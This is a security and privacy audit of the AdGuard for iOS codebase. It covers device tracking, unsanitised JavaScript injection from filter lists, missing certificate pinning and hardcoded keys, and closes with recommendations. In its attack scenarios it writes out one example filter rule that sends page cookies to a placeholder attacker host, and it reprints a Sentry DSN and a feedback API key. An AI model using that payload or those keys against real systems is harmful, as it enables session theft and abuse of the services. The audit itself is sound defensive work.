This audit analyzed the open-source AdGuard for iOS codebase across five dimensions: architecture, DNS filtering, Safari content blocking, telemetry/data collection, and suspicious code patterns. No malicious backdoors or covert data exfiltration were found. However, several findings merit attention from a security and privacy standpoint.
Finding: Every filter metadata request sends the device's identifierForVendor UUID to AdGuard servers.
Evidence:
SafariConfiguration+Initializers.swift:36—cid: UIDevice.current.identifierForVendor?.uuidStringFiltersMetadataRequest.swift:45-46— sendsidandcidparameters (both the device UUID)- Endpoint:
https://filters.adtidy.org/ios/filters.js?v=<version>&lang=<lang>&id=<UUID>&cid=<UUID>
Impact: AdGuard's servers can build a per-device profile of:
- When the device checks for filter updates (up to every 6 hours)
- App version and language/locale
- Whether it's the free or Pro variant (
iosvsios_pro)
This is a persistent device identifier that effectively tracks users across sessions. Notably, the same UUID is sent twice in both id and cid parameters, which appears redundant and suggests potential legacy coupling.
Finding: The Safari Web Extension can inject arbitrary CSS, JavaScript, and "scriptlets" into every web page the user visits, with no sanitization, no sandboxing, and no trust differentiation between built-in and custom filter sources.
Filter Lists (remote URLs or user-added custom URLs)
|
v
FiltersService (download & store raw rules as text files)
|
v
FiltersConverterService → FiltersConverter → ContentBlockerConverterWrapper
-- advancedBlocking: true (if Pro + enabled)
-- Produces advancedRulesText (JS, CSS, scriptlets, extended CSS)
|
v
ContentBlockersInfoStorage.saveAdvancedRules()
-- Deduplicates by string identity — NO VALIDATION
-- Calls WebExtension.buildFilterEngine(rules:) [opaque binary]
-- Stores compiled engine in shared app group container
|
v
Safari Web Extension (on every page load)
-- content.js runs at document_start on <all_urls>, all_frames
-- Requests configuration from native host via sendNativeMessage
-- WebExtension.lookup(pageUrl:, topUrl:) returns matching rules
|
v
ContentScript.run() applies in order:
1. applyCss(configuration.css)
2. applyExtendedCss(configuration.extendedCss)
3. applyScriptlets(configuration.scriptlets)
4. applyScripts(configuration.js) ← RAW JS EXECUTION
At content.js:27522-27575, two methods inject code directly into the page context:
// Method 1: <script> tag with textContent (line 27522)
const executeScriptsViaTextContent = code => {
const scriptTag = document.createElement('script');
scriptTag.textContent = code; // RAW CODE — NO SANITIZATION
document.head.appendChild(scriptTag); // EXECUTES IN FULL PAGE CONTEXT
};
// Method 2 (fallback): Blob URL (line 27541)
const executeScriptsViaBlob = code => {
const blob = new Blob([code], { type: 'text/javascript' });
const url = URL.createObjectURL(blob);
const scriptTag = document.createElement('script');
scriptTag.src = url; // EXECUTES IN FULL PAGE CONTEXT
};There is zero validation of the JavaScript before injection. Code from filter rules is passed straight through to a <script> tag.
From manifest.json:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
"content_scripts": [{
"js": ["content.js"],
"matches": ["<all_urls>"],
"run_at": "document_start",
"all_frames": true,
"match_about_blank": true,
"match_origin_as_fallback": true
}],
"permissions": ["<all_urls>", "nativeMessaging", "storage", "unlimitedStorage", "activeTab"]<all_urls>+all_frames: true— runs on every page and every iframedocument_start— runs before any page JavaScript'unsafe-eval'in extension CSPmatch_about_blank: true— even about:blank frames
The bundled scriptlet library (content.js lines ~3000-27410) contains ~100 named scriptlets invoked by name via scriptlets.invoke(). Scriptlet names must match the whitelisted scriptletsMap — unknown names throw an error. Categories:
| Category | Scriptlets | What They Access |
|---|---|---|
| Cookie manipulation | set-cookie, remove-cookie, trusted-set-cookie |
document.cookie read/write/delete |
| Storage manipulation | set-local-storage-item, set-session-storage-item, trusted-set-* |
localStorage, sessionStorage |
| Network interception | prevent-fetch, prevent-xhr, trusted-replace-fetch-response, trusted-replace-xhr-response |
Proxies fetch() and XMLHttpRequest — reads/modifies all requests/responses |
| DOM manipulation | remove-attr, set-attr, trusted-click-element, trusted-create-element |
Full DOM access including Shadow DOM |
| JS API hooking | prevent-addEventListener, prevent-setTimeout, prevent-setInterval, prevent-window-open |
Replaces native browser APIs with proxied versions |
| Code execution control | noeval, prevent-eval-if, log-eval |
Wraps eval() and new Function() |
| Property spoofing | set-constant, trusted-set-constant, spoof-css |
Overrides any JS property or CSS computed value |
| Response modification | json-prune-fetch-response, json-prune-xhr-response, xml-prune, m3u-prune |
Parses and modifies JSON/XML/M3U response bodies in-flight |
| WebRTC blocking | nowebrtc |
Disables RTCPeerConnection |
Regular scriptlets have input validation. For example, set-cookie at content.js:21491 limits values to a whitelist: true, false, yes, no, ok, on, off, accept, reject, allow, deny, enable, disable, necessary, required, hide, essential, nonessential, checked, unchecked, forbidden, forever, or numeric values.
The trusted-* variants bypass all value restrictions:
trusted-set-cookie— set cookies to any arbitrary valuetrusted-replace-fetch-response/trusted-replace-xhr-response— intercept any network request and modify the response bodytrusted-click-element— programmatically click any element (buttons, forms, links)trusted-create-element— create arbitrary DOM elements including<script>and<iframe>trusted-set-constant— set any JS property to any valuetrusted-set-local-storage-item/trusted-set-session-storage-item— write arbitrary storage datatrusted-prune-inbound-object— modify arguments to any function call
These trusted-* scriptlets are available to ANY filter list — there is no trust gate restricting them to first-party AdGuard filters only.
Location: FiltersConverterService.swift:74-137, FiltersConverter.swift:172-206
Custom filters (added by users from arbitrary URLs) and user blocklist rules go through the exact same pipeline as AdGuard's built-in filters:
// FiltersConverter.swift:206 — same advancedBlocking flag for ALL sources
advancedBlocking: configuration.advancedBlockingIsEnabled && configuration.proStatus
// FiltersConverter.swift:175 — user blocklist rules appended to ALL content blockers
filters.keys.forEach { filters[$0]?.append(contentsOf: blocklistRules) }A malicious custom filter list or a user-typed blocklist rule using #%# syntax would have its JavaScript compiled and executed with the same privileges as AdGuard's own rules.
- No checksums or hash verification on downloaded filter files
- No digital signatures on filter content
- No Subresource Integrity (SRI)
- No diff between expected and actual filter content
- The
FilterEngineframework that compiles rules is a closed binary — not auditable from this repo
- The content script itself has no phone-home capability — it makes zero outbound network requests to AdGuard or any external server
- The only communication channel is
browser.runtime.sendMessageback to the background page (to request rules and submit user-created blocking rules) - The content script does not read passwords, form inputs, or exfiltrate any user data on its own
- It does not contain telemetry, analytics, or crash reporting
- Event delaying (300ms buffer for DOMContentLoaded/load) has a hard timeout to prevent page breakage
Advanced blocking (JS/scriptlets) is gated at FiltersConverter.swift:206:
advancedBlocking: configuration.advancedBlockingIsEnabled && configuration.proStatus- Free users are not affected — they get CSS-only content blocking
- Pro users have it enabled by default but can toggle it off
Scenario A — MITM on WiFi: Attacker intercepts filter update (no cert pinning), injects a rule like ||banking-site.com^#%#new Image().src='https://evil.com/?c='+document.cookie — exfiltrates session cookies.
Scenario B — Malicious custom filter: User is social-engineered into adding a filter URL (e.g., forum post claiming to block ads on a specific site). Filter contains #%# rules that inject a keylogger or credential harvester.
Scenario C — Supply chain compromise: If filters.adtidy.org CDN or any upstream filter source is compromised, malicious JS rules could be pushed to all Pro users.
Risk: While this is standard for advanced ad blockers, the injection pipeline means that a compromised filter list update could execute arbitrary JavaScript on every page the user visits. The filter rules are fetched over HTTPS but without certificate pinning (see finding #3), which increases this risk.
Finding: All HTTP requests use URLSession.shared with no custom URLSessionDelegate for certificate validation.
Evidence:
RequestSender.swift:72—public init(session: URLSession = URLSession.shared)RequestSender.swift:115—session.dataTask(with: urlRequest)— standard data task, no delegate- No
SecTrustevaluation, noURLAuthenticationChallengehandling anywhere in the codebase
Impact: An attacker performing a MITM attack (e.g., on a compromised WiFi network) could:
- Intercept filter metadata requests (learning what filters the user has)
- Inject malicious filter rules including JavaScript that would be executed on all web pages (combining with finding #2)
- Intercept license/auth tokens
- Intercept bug report submissions (which contain extensive device info)
This is the most actionable security concern — the combination of no certificate pinning + arbitrary JS injection via filter rules creates a realistic attack chain.
Finding: NSAllowsArbitraryLoads is set to true in all four Info.plist files:
AdguardApp/Info.plist:98AdguardPro/AdguardPro.plist:96ActionExtension/Info.plist:27ProActionExtensionInfo.plist:27
Impact: The app and its extensions can make plain HTTP requests, bypassing iOS's default TLS enforcement. While likely needed for the DNS/VPN functionality (which must handle arbitrary traffic), it also means the app's own API calls aren't protected by the OS-level ATS safety net.
Finding: All DNS queries are logged locally in a SQLite database with comprehensive metadata.
Evidence: The DNS log database (DNS_log_statistics.db) stores the last 1,500 queries with:
- Full domain name queried
- DNS response/answer
- Processing status (blocked, allowed, encrypted)
- Upstream DNS server used
- Bytes sent/received
- Matching filter rules
- Timestamps
Impact: If the device is compromised or physically accessed, this database provides a detailed browsing history. The data stays local and is not transmitted to AdGuard servers, but it's a significant local privacy exposure.
Finding: Sentry error tracking is enabled in both the main app and the VPN tunnel extension.
Evidence:
Constants+Sentry.swift— DSN:https://c7ddc70397fe47198302226c5baab7df@s10.adtidy.org/214AppDelegate.swift:152-155andTunnelProvider.swift:55-58— Sentry initializedenableAutoSessionTracking = false— session tracking is explicitly disabled
Mitigation: AdGuard hosts their own Sentry instance (s10.adtidy.org) rather than using Sentry's cloud. Session tracking is disabled. However, crash reports still contain stack traces and potentially sensitive runtime state.
Finding: Two credentials are hardcoded in the open-source codebase:
- Sentry DSN:
https://c7ddc70397fe47198302226c5baab7df@s10.adtidy.org/214 - Feedback API Key:
key=4DDBE80A3DA94D819A00523252FB6380(inSendFeedbackRequest.swift)
Impact: These could be abused to submit fake crash reports or spam feedback. Low severity since they're server-side keys with limited scope.
Finding: When users submit bug reports, the app collects extensive device/configuration data:
- Device model, OS version, device vendor UUID
- All enabled filter lists and rule counts
- DNS server configuration (name, upstreams, bootstrap/fallback servers)
- Tunnel mode, network settings (mobile/WiFi filtering)
- Pro/trial status
- WiFi exception rules
- Optional: full debug logs from all processes
This is user-initiated (not automatic), but users may not realize the extent of data included.
- No third-party analytics SDKs (no Firebase, Amplitude, Mixpanel, AppsFlyer, Facebook SDK, etc.)
- No clipboard access (
UIPasteboardnot used) - No dynamic code loading (no
dlopen,NSClassFromStringabuse,performSelectorfor code execution) - No obfuscated code — codebase is clean, well-structured, and readable
- No hidden backdoors or debug-mode remote access
- No data exfiltration of browsing history, DNS logs, or page content to remote servers
- No binary blobs that can't be audited —
AGDnsProxyis a properly imported framework - Keychain usage is appropriate — only stores auth credentials and app ID
- URL schemes are documented and safe — no command injection vectors
| # | Finding | Severity | Exploitability |
|---|---|---|---|
| 1 | Device UUID sent with filter updates | Medium | Passive tracking by AdGuard |
| 2a | Raw JS injection (#%#) — no sanitization |
High (by design) | Requires compromised filter source |
| 2b | trusted-* scriptlets not gated by filter source |
Medium-High | Any filter list can invoke them |
| 2c | No trust differentiation for custom filters | Medium | User must add malicious filter URL |
| 2d | No content integrity verification on filters | Medium | Enables supply chain attacks |
| 2e | FilterEngine is a closed binary | Informational | Cannot audit rule compilation |
| 3 | No certificate pinning | Medium | Requires MITM position |
| 4 | ATS disabled globally | Low-Medium | Enables downgrade attacks |
| 5 | Local DNS query logging | Privacy concern | Requires device access |
| 6 | Sentry crash reporting | Low | Automatic, limited data |
| 7 | Hardcoded API keys | Low | Abuse potential minimal |
| 8 | Extensive bug report data | Low | User-initiated only |
-
Certificate pinning — The most critical fix. Implement certificate pinning for
filters.adtidy.organdmobile-api.adguard.org. Without it, MITM + JS injection (#3 + #2a) is the most realistic attack chain. -
Restrict raw
#%#JS rules to trusted filter sources only — Custom filter lists and user blocklist rules should NOT be allowed to produce raw JS rules. Scriptlet rules (#%#//scriptlet) are safer since they use a predefined library, but raw#%#JS should be gated by filter source trust level. -
Gate
trusted-*scriptlets — Only allow first-party AdGuard filter lists to invoketrusted-*scriptlets. Third-party and custom filters should be restricted to regular (value-validated) scriptlets. -
Filter integrity verification — Add checksums or digital signatures for built-in filter list content. Verify that downloaded filter files have not been tampered with.
-
UI warnings for custom filters — When a custom filter list contains advanced blocking rules (JS/scriptlets), display the count and require explicit user consent before enabling them.
-
Audit the FilterEngine binary — Since
WebExtension.lookupandWebExtension.buildFilterEngineare the core gate for what gets injected, this opaque dependency should be independently audited.